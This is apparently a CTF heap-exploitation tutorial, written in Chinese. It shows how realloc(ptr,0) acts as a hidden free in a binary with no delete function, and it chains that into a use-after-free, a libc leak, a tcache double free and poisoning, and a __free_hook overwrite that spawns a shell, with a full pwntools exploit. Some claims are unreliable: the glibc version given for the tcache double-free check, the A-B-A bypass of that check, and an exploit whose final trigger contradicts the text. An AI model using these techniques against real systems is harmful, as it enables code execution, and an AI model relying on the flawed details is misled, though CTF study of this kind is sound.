第一次在题目里看到realloc(ptr,0)这个括号组合时,我并没有当回事,毕竟C语言课上只说过 realloc 是重新分配内存。直到我蹲在调试器前面看了半天 bin 的变化,才意识到这个“重新分配”背后藏着一整套 free 的替代逻辑。在 glibc 的实现里,realloc(ptr, 0)会直接释放 ptr 并返回 NULL——这个行为就是标题里的题眼。围绕这道题,我想把 realloc 的隐藏行为、利用姿势、还有我在调试过程中踩过的坑一次说透,给同样在打堆题的同学一些可复用的经验。
1. realloc 看起来人畜无害,为什么成了堆题的题眼?
1.1 题目的表与里:菜单里根本没有 delete?
很多堆题为了控制解题路径,会刻意删掉某个“看起来必须存在”的功能。最常见的就是不给 free,菜单里只有 add、edit、show,让你没有办法把堆块主动释放进 bin。这道题就是这种设计:你能申请、能修改、能打印,但就是不能释放。
一开始我也以为,没有 free 等于只能一直申请,堆块永远只增不减,那还怎么制造 double free、怎么泄漏 libc、怎么打任意写?实际上一翻程序的汇编或者源码,你会发现它内部用一个realloc函数来修改堆块大小。也就是说,菜单里的“修改”并不是单纯的read写入,而是先把目标指针交给realloc重新调整大小,再往返回的地址里写数据。
而这个realloc的参数完全由用户控制,你输入 size 为 0,它就会把当前堆块释放掉。于是“没有 free”的题,凭空多了一个 free 原语。这道题能成立,几乎完全依赖这一个细节。
1.2 一个隐藏语义引发的利用链
有了隐藏 free,后面的事情就顺理成章了。你可以把一个堆块释放进 tcache 或 fastbin,但程序里保存该堆块的指针并不会自动置空。更致命的是,realloc(ptr,0)的返回值是 NULL,如果程序代码写得不严谨,比如没有把返回值赋回原指针,那么这个悬空指针就一直在全局数组里。
悬空指针能干什么?首先是泄漏,堆块被释放后,它的 fd/bk 指针会写入数据区域,show 功能可以直接把这些指针打印出来。其次是重复释放,同一根指针可以再次传给realloc(ptr,0),相当于把同一个堆块连续释放多次。最后是伪造,配合 tcache 的分配逻辑,你可以通过修改已释放堆块的 fd 字段,实现任意地址分配。
所以这道题表面考的是 realloc,实际上考的是“你知不知道 realloc(ptr,0) 不是把人家的内存重新分配成 0 字节,而是直接 free 掉”。你一旦转过这个弯,整道题的利用链就在眼前了。
2. 把 glibc 里的 realloc 拆开看
2.1 四个分支,一条条拆
要玩明白这个函数,不能只记结论。glibc 里_libc_realloc的处理逻辑可以简化成四段:
- 如果
ptr == NULL,直接等价于malloc(size)。 - 如果
size == 0,直接调用free(ptr),然后返回 NULL。 - 如果
size比当前 chunk 小,尝试从当前 chunk 尾部切出一块新的空闲块,返回原指针。 - 如果
size比当前 chunk 大,先尝试向相邻的下一个 chunk 扩展;如果空间不够,就申请一块新 chunk,把旧数据拷贝过去,再释放旧 chunk。
第三和第四分支,是 realloc 的“普通日常”。很多同学会对 realloc 产生一个错觉:它一定会把数据搬到新地址。其实如果新大小小于或等于旧大小,它通常原地操作,指针不变。只有当新大小变大且相邻空闲块不足以扩展时,才会走“分配新块、拷贝数据、释放旧块”的路径。
这里有一个关键细节:第四分支里的“释放旧块”不是用户主动调用的 free,而是 realloc 内部完成。所以哪怕你传的 size 不是 0,只要 size 足够大,realloc 一样会帮你释放掉一个旧块。这在某些场景里也能当 free 用,但控制力不如 size=0 那么直接。
2.2 最容易误判的两个“返回 NULL”
realloc 有两个返回 NULL 的情况,含义完全不同。
第一种是普通失败。当 realloc 在扩大堆块时,如果新的 size 太大,ptmalloc 分配失败,它会返回 NULL,但旧指针仍然是有效的,数据也没有丢。这种情况下你必须把返回值保存下来,否则旧指针还能继续用,只是没扩成功。
第二种就是realloc(ptr, 0)。它返回 NULL,是因为 ptr 已经被释放,不是分配失败。你手里的旧指针从这一刻起变成了一个指向已释放堆块的悬空指针。如果程序继续用这个旧指针去读、写、或者再次传给 realloc,它访问的其实已经是 bin 里的空闲块。
把这两种 NULL 混为一谈,是新手最容易犯的错。很明显,第二种才是我们需要的:释放完,指针还在,UAF 直接到手。
2.3 与 malloc/free 的协作关系
realloc 自己并不生产内存,它内部大量依赖 malloc 和 free 的底层逻辑。realloc(NULL, size)走的就是 malloc 路径;realloc(ptr,0)走的是 free 路径;普通情况下的扩展,也是通过 malloc 申请新块 + free 旧块实现。
这意味着 realloc 触发的释放,同样会经过 tcache、fastbin、unsorted bin 的管理逻辑。它同样会受 double free 检测约束,同样会触发__free_hook,同样会把 chunk 放回对应 size 的 bin 里。所以你可以完全把它当成免费的 free 来用,只是入口在 realloc 而不是 free。
这个协作关系还有一个附加效果:realloc 的 size 参数是用户可控的,你可以在同一根指针上反复改变 size,让它在不同大小之间切换。这为堆风水提供了很大的自由度,但也会带来很多莫名其妙的崩溃,后面实操部分我会专门讲。
3. 利用 realloc(ptr,0) 构造攻击原语
3.1 悬空指针不是 bug,是特性
一个正常程序调用ptr = realloc(ptr, 0),原本应该把 ptr 设为 NULL,避免悬空引用。但出题人为了让题目可做,往往会让程序“忘记”接收返回值,或者用一个临时变量接收但不回写原指针。这时候ptr数组里保存的地址依然是旧堆块地址,而旧堆块已经进入 tcache。
悬空指针给我的第一个好处是:可以直接 show 泄漏堆地址或 libc 地址。堆块被释放进 unsorted bin 后,它的 fd 和 bk 会指向 main_arena 附近,通过 show 打印这块数据,就能拿到 libc 基址。
第二个好处是:可以再次调用realloc(ptr, 0)重复释放同一块内存。这个操作等价于对同一个 chunk 连续 free 两次,在某些场景下直接构成 double free。
但是这里有一个严苛的限制:tcache 会检测同一个 chunk 是否连续释放两次。在 glibc 2.27 及以后,chunk 的 key 字段会记录自己是否在 tcache 中,如果重复释放且中间没有把它移出 tcache,就会直接报错。所以你不能简单地edit(0,0); edit(0,0),必须想办法绕过。
3.2 绕过 tcache double free 检测的正确姿势
标准解法是:释放 A、释放 B、再释放 A。这样第一次释放 A 后,A 进入 tcache;释放 B 后,B 在 tcache 头部,A 的 key 还是旧值;再释放 A 时,由于 A 的 key 不是当前 tcache 中的新标记(或者说中间有其他 chunk 隔开),有些版本的检测会被绕过。
用 realloc 也一样。假设你有两个堆块 A 和 B,分别执行:
edit(0, 0, b'') # free A edit(1, 0, b'') # free B edit(0, 0, b'') # free A again三次释放之后,tcache 链变成:A -> B -> A。后续利用只需要通过 malloc 把 A 分配回来,再修改 A 的 fd 指针,就能让 tcache 的头部指向任意目标地址。
这个手法是 tcache poisoning 的经典套路。没有 delete 菜单也没关系,realloc(ptr,0) 已经把“释放 A”这件事完整地做完了,剩下的就是正常构造链。
3.3 通过 free_hook 一击 getshell
当目标环境是 glibc 2.23 或 2.27 时,覆盖__free_hook仍然是最稳的收敛方式。通常我们在获得任意地址分配能力后,把__free_hook改成system,然后让某个堆块的数据区开头是/bin/sh,再随便触发一次 free 即可。
这里 realloc(ptr,0) 又立了大功。你不需要程序里有一个显式的 free 函数,只需要执行:
edit(idx, 0, b'')程序内部会调用realloc(ptr[idx], 0),进而在 free 路径上检查__free_hook,一旦 hook 被改成 system,就会执行system(ptr[idx])。如果ptr[idx]指向的内容是/bin/sh,shell 就直接到手了。
需要注意,传给 realloc 的参数必须是一个合法的堆指针,因为 realloc 会先解析这个地址对应的 chunk 头。你不能直接把/bin/sh字符串的地址传给 realloc。正确做法是,先有一个内容为/bin/sh的堆块,再把那个堆块的地址交给 realloc(ptr,0)。
4. 模拟赛题实操:从泄漏到劫持的全过程
4.1 题目功能抽象
为了说清楚,我把这道题抽象成一个典型菜单:
add(idx, size, content):为 idx 分配 size 大小堆块,写入 content。edit(idx, size, content):内部执行realloc(ptr[idx], size),但没有把返回值赋回ptr[idx];如果 size 不为 0,再往原指针写入 content。show(idx):打印ptr[idx]的内容。- 没有 delete 功能。
这个抽象完全符合标题的核心:edit 里的 realloc 返回值被忽略,size 由用户控制,所以edit(idx, 0, ...)会释放ptr[idx],但指针残留,构成 UAF。
本地环境我假设为 glibc 2.27,开了 tcache,没有开 PIE 或自己计算基址,具体地址偏移需要根据题目给的 libc 来定。
4.2 泄漏 libc
先分配一个大小在 unsorted bin 范围的 chunk,比如 0x410:
add(0, 0x410, b'A' * 0x410)然后通过edit(0, 0, b'')把这个 chunk 释放。由于它的大小大于 tcache 的上限,会被放进 unsorted bin。释放后,该 chunk 的 fd 和 bk 都指向main_arena + offset。这时调用show(0),就能把这 8 个字节读出来。
edit(0, 0, b'') leak = u64(show(0)[:8].strip().ljust(8, b'\x00')) libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - offset不同 libc 版本计算偏移的方式不太一样,建议先用本地 libc 调试时算清楚。关键点是:你泄漏的是 unsorted bin 的链表指针,不是堆地址本身,所以要找对符号偏移。
4.3 构造 tcache dup 与任意地址分配
接下来拿两个小堆块 A 和 B,大小都选 0x30,进入 tcache 的利用流程:
add(1, 0x30, b'AAAA') add(2, 0x30, b'BBBB') edit(1, 0, b'') # free A edit(2, 0, b'') # free B edit(1, 0, b'') # free A again此刻 tcache 链是 A -> B -> A。接着连续分配两次,把 A 和 B 都拿回来:
add(3, 0x30, b'4321') # pop A add(4, 0x30, b'4321') # pop B注意,此时 tcache 链中还残留着一个 A 节点。因为我们拿回了 A 的内存,可以直接修改它的内容,也就是修改 tcache 里残留 A 节点的 fd 字段。把 fd 改成目标地址,比如__free_hook - 0x8:
edit(3, 0x30, p64(target_addr))然后继续分配两次,第一次会弹出残留的 A 节点,第二次就会从target_addr处分配一段内存:
add(5, 0x30, b'A') add(6, 0x30, b'AAAA')这里有一个极易踩坑的点:tcache 分配任意地址时,对目标地址没有严格的 size 检查,但要求地址可写,且如果你之后要 free 这个伪造 chunk,它的 size 字段必须合法。我们只是往__free_hook写数据,不 free 它,所以可以绕过 size 检查。
4.4 写 __free_hook 并触发
add(6) 返回的指针其实是target_addr,也就是__free_hook - 0x8。我们编辑它,写成 system:
edit(6, 0x30, b'/bin/sh\x00' + p64(libc.sym['system']))这一步会把target_addr + 0x8位置的__free_hook覆盖为 system,同时在target_addr开头写入了/bin/sh。更好的做法是单独用一个堆块存/bin/sh,因为__free_hook本身不是合法堆块,不能传给 realloc。所以我们再新建一个堆块,或者复用之前的一个堆块,把它的内容改成/bin/sh\x00:
add(7, 0x30, b'/bin/sh\x00')最后触发:
edit(7, 0, b'')这行代码会执行realloc(ptr[7], 0),内部调用 free,走到__free_hook,也就是system(ptr[7]),参数正好指向/bin/sh。shell 到手。
4.5 完整 exp 框架
from pwn import * context.arch = 'amd64' elf = ELF('./pwn') libc = ELF('./libc.so.6') def add(idx, size, content): p.sendlineafter(b'> ', b'1') p.sendline(str(idx).encode()) p.sendline(str(size).encode()) p.send(content) def edit(idx, size, content): p.sendlineafter(b'> ', b'2') p.sendline(str(idx).encode()) p.sendline(str(size).encode()) if size > 0: p.send(content) def show(idx): p.sendlineafter(b'> ', b'3') p.sendline(str(idx).encode()) return p.recvline() # leak add(0, 0x410, b'A' * 0x400) edit(0, 0, b'') libc_leak = u64(show(0)[:8].strip().ljust(8, b'\x00')) libc.address = libc_leak - libc.sym['__malloc_hook'] - 0x10 - 0x??? log.success(hex(libc.address)) # tcache dup add(1, 0x30, b'A') add(2, 0x30, b'B') edit(1, 0, b'') edit(2, 0, b'') edit(1, 0, b'') add(3, 0x30, b'1') add(4, 0x30, b'2') target = libc.sym['__free_hook'] - 0x8 edit(3, 0x30, p64(target)) add(5, 0x30, b'x') add(6, 0x30, b'') edit(6, 0x30, b'/bin/sh\x00' + p64(libc.sym['system'])) # trigger edit(6, 0, b'') p.interactive()这段代码只是最朴素的骨架,真实题目中还要根据菜单交互细节调整,比如索引从 0 还是 1 开始、是否用sendline还是send、堆块大小是否要避开 tcache 的 size 范围等。
5. 踩坑记录与问题排查
5.1 高频报错排查表
| 现象 | 大概率原因 | 处理思路 |
|---|---|---|
realloc(): invalid pointer | 传给 realloc 的不是合法堆块指针,或者指针已经被释放后又被再次调用非 0 size | 确保 oldmem 是当前由 malloc/realloc 返回且未释放的指针 |
double free or corruption (!prev) | 对同一 tcache chunk 连续释放,中间没有其他释放操作 | 改为 A、B、A 的释放顺序,或先分配回来改写 key |
malloc(): memory corruption | tcache fd 指向了不可写或不可对齐地址 | 检查目标地址,通常用__free_hook - 0x8作为伪造起始点 |
| show 出来的内容不是你预期的泄漏 | 堆块被释放后 fd/bk 被写入,字符串没有结束符 | 在 show 时使用固定长度读取,或根据环境手动截断 |
打了__free_hook却没法触发 shell | 触发时传给 free 的指针不是/bin/sh所在堆块 | 不要直接把__free_hook - 0x8当作参数,用单独堆块存/bin/sh |
这里特别说一句:realloc(ptr, 0)触发 free_hook 时,内部拿到的参数是ptr本身,不是ptr指向的内容。所以如果ptr指向的是一块开头写着/bin/sh的内存,system就执行/bin/sh;如果ptr指向的是某个控制结构,执行结果就非常随机。很多失败 exp 都是卡在这个参数理解上。
5.2 我的三条实战心得
第一,凡是菜单里出现 realloc 的题,先把“有没有把返回值赋给原指针”查清楚。赋值了,指针会被更新成 NULL,利用思路要偏向“申请新块拿到刚释放的块”;没赋值,就是白送 UAF,直接往 double free 方向走。
第二,realloc(ptr,0) 之后的指针不是 NULL,但在 glibc 内部它已经被 free。你如果继续对这根指针走常规的 edit(size 非 0),realloc 会尝试解析一个空闲块,绝大多数时候会直接崩溃。唯一安全的使用方式是再次通过 malloc 申请同一块内存,或者用 show 泄漏数据。
第三,不要只盯 size=0。realloc 在 expand 的时候也会释放旧块。有些题目干脆不让你传 0,但你可以传一个很大很大的 size,迫使 realloc 申请新地址,然后旧块进 bin。这招在某些“禁 0”题目里是唯一的释放途径。
最后再分享一个小技巧:在调试这道题的时候,用heap bins和vmmap观察每次realloc(ptr,0)之后 tcache 的变化,比在源码里推测快得多。你只要看到一次释放后目标 chunk 出现在对应 bin 列表里,就能确认这一整条利用链的第一步已经成立。往后无论题目怎么换壳,无非就是把“free”这个动作换成“realloc(ptr,0)”,把链子重新接一遍。